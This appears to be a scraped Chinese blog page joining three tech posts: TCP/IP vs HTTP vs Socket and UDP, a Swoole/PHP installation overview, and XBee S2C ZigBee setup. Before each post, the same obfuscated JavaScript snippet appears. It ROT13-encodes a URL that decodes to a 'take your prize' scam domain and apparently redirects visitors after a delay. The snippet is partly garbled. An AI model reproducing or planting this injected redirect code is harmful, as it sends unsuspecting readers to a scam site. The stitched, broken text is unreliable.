TCP/IP、Http、Socket、UDP区别

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
网络由下往上分为物理层、数据链路层、网络层、传输层、会话层、表示层、应用层。IP协议对应网络层,TCP对应传输层、HTTP对应应用层。所以三者从本质上来说是没有可比性的。Socket则是对TCP/IP协议的封装和应用。TCP/IP协议是传输层协议,主要解决的是数据如何在网络中传输,而HTTP是应用层协议,主要解决如何包装数据。

我们在传输数据的时候可以只使用TCP/IP协议,但是这样的话,如果没有应用层就无法识别数据内容,如果想要使传输的数据有意义,则必须使用到应用层协议,应用层协议有很多,比如HTTP、FTP、TELNET等。WEB使用HTTP协议作为应用层协议,以封装HTTP文本信息,然后使用TCP/IP作为传输层协议将其发送到网络上。

Socket本身并不是一个协议,而是对TCP/IP的封装,是一个调用接口API,通过socket才能使用TCP/IP协议。TCP/IP只是一个协议栈,就像操作系统的运行机制一样,必须要具体实现,同时还要提供对外的操作接口,这个就像操作系统会提供标准的编程接口,TCP/IP提供可供程序员做网络开发所用的接口就是socket编程接口。

小结:传输层的TCP是是基于网络层的IP协议,而应用层的HTTP协议又是基于传输层的TCP协议的,而Socket本身并不算协议,只是提供了一个针对TCP或者UDP编程接口。

 

几个问题:

TCP和UDP的区别

TCP是面向连接的,虽然说网络的不安全和不稳定性的特性决定了多少次握手都不能保证连接的可靠性,当TCP的三次握手在最低的限度上保证了连接的可靠性;而UDP不是面向连接的,UDP传送数据前并不与对方建立连接,对接收到的数据也不发送确认信号,发送端不知道数据是否会被正确接收,当然也不会重发。
正是由于UDP的这些特点,使得UDP开销更小,传输速率更高,因为不需要进行收发数据的确认,所以UDP的实时性更好。

 

HTTP连接特点

HTTP最显著的特点是客户端发送的每次请求都需要服务器回送相应,在请求结束后会主动释放连接,从建立到关闭连接的过程称为“一次连接”。
是建立在TCP协议之上的一种应用。

 

TCP连接的三次握手

第一次握手:客户端发送syn包到服务器并进入SYN_SEND状态,等待服务器确认。
第二次握手,服务器收到syn包,必须确认客户端的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV。
第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(act=k+1), 此包发送完毕,客户端和服务器进入ESTABLISHED状态完成三次握手
注意:在三次握手的过程中传输的包里是不包含数据的,三次握手完毕之后,客户端与服务器才正式开始传递数据。理想的状态下,TCP连接一旦建立,在通信双方中的任何一方主动关闭连接前,TCP连接都将被一直保持下去,断开连接时服务器和客户端均可以发起断开TCP的请求,断开需要经历“四次握手”,

 

Swoole-TCP

rx online 第一部分 TCP SERVER 实现思路:   <?php /** * Created by bingxiong. * Date: 4/15/18 * Time: 12:05 AM * Description: TCP-SERVER */ //创建Server对象,监听 127.0.0.1:9501端口 $se…

Swoole 概述

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
概述

Swoole是PHP的异步、并行、高性能网络通信引擎,使用纯C语言编写,提供了PHP语言的异步多线程服务器,异步TCP/UDP网络客户端,异步MySQL,异步Redis,数据库连接池,AsyncTask,消息队列,毫秒定时器,异步文件读写,异步DNS查询。 Swoole内置了Http/WebSocket服务器端/客户端、Http2.0服务器端/客户端。

Swoole底层内置了异步非阻塞、多线程的网络IO服务器。PHP程序员仅需处理事件回调即可,无需关心底层。与Nginx/Tornado/Node.js等全异步的框架不同,Swoole既支持全异步,也支持同步。

除了异步IO的支持之外,Swoole为PHP多进程的模式设计了多个并发数据结构和IPC通信机制,可以大大简化多进程并发编程的工作。其中包括了并发原子计数器,并发HashTable,Channel,Lock,进程间通信IPC等丰富的功能特性。

Swoole从2.0版本开始支持了内置协程,可以使用完全同步的代码实现异步程序。PHP代码无需额外增加任何关键词,底层自动进行协程调度,实现异步。

Swoole可以广泛应用于互联网、移动通信、企业软件、网络游戏、物联网、车联网、智能家庭等领域。 使用PHP+Swoole作为网络通信框架,可以使企业IT研发团队的效率大大提升,更加专注于开发创新产品。

 

定义:

PHP异步网络通信引擎
是通过C编写的文件,最终编译为so文件作为PHP的扩展提供给php使用。

准备工作:

linux环境下开发
PHP7 swoole2.1 redis
源码安装php7 源码安装swoole

PHP源码安装:

这里需要申明的是,开发环境一般使用的是集成环境,但是生产环境一定是使用php的源码进行安装的。

下载,直接从官网的download的
解压
configure
make
make install

源码安装的一些坑:

编译源码必须要先安装gcc或者autoconfig
安装好的文件夹里面是没有php.ini的,需要从原始解压的目录拷贝到lib目录中(注意不是etc目录!!!),然后mv改下名字成php.ini就可以了(如果要放在etc下面需要编译的时候设置),之所以在lib的原因如下:

源码安装swoole

步骤和源码安装php差不多,但是有一些不同的是swoole在git是clone下来了之后,是没有configure文件的,我们需要使用bin/phpize工具进行安装,phpize是用于安装php扩展(外挂模块)的工具。

然后就出现了configure文件。

 

XBee S2C相关说明

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
相比前一代XBee S2(产品系列XB24-ZB),XBee S2C(产品系列XB24C)新增了:

异步接受/发送功能(1MB/s)
SPI通讯(5MB/s)

室内最大传输距离60米,室外射频(RF:2kbps)距离200米

供给电压:2.1-3.6V

 

每个ZigBee的组网都有三个部分组成:

Coordinator:负责开启网络、选择频道、提供PANID、分发地址Distribute Address、具备允许Router和End Device入网的能力,一个网络中只能有一个
Router:是ZigBee的节点,能够加入网络、发送、接收、路由信息(路由是指可以作为两个相距很远的中继器),为睡眠终端的设备缓冲无线数据包(data pakets),无法休眠,必须始终打开电源。一个网络中可以有多个。
End Device:终端设备的本质是路由的简化版,可以加入现有网络并发送和接收信息,但是不能作为任何其他设备之间的信使(中继器),不允许其他设备加入网络。一般使用比较便宜的硬件,并可以间歇性的断电,从而通过暂时进入无响应的睡眠模式来节省能源。总是需要路由器或协调器作为其父设备。父设备帮助终端设备加入网络并为他们睡觉时存储信息。一个网络中可以有多个。

 

操作模式

XBee的ZigBee射频模块在不传输数据时处于接收模式,在下列条件转入其他模式运作模式:

发送模式(串行接收缓冲区中的串行数据已准备好打包)
睡眠模式
命令模式(命令模式序列发出,在使用SPI端口时不可用)

最后说明一下:S2不可以和S1兼容但是S2C实现了和S2及S1(产品系列是:802.15.4)的兼容。

设置COORDINATOR:

PAN ID:1234

CE(Coordinator Enable):Enabled

DH:0

DL:FFFF (广播模式,会与网络中的所有设备通讯)

NI(node identifier):COORDINATOR(这里仅仅是一个用于辨识的名字)

 

设置ROUTER:

PAN ID:1234

JV channel verification:Enabled

DL:0

DH:0(代表只发给coordinator,因为0是coordinator的默认地址)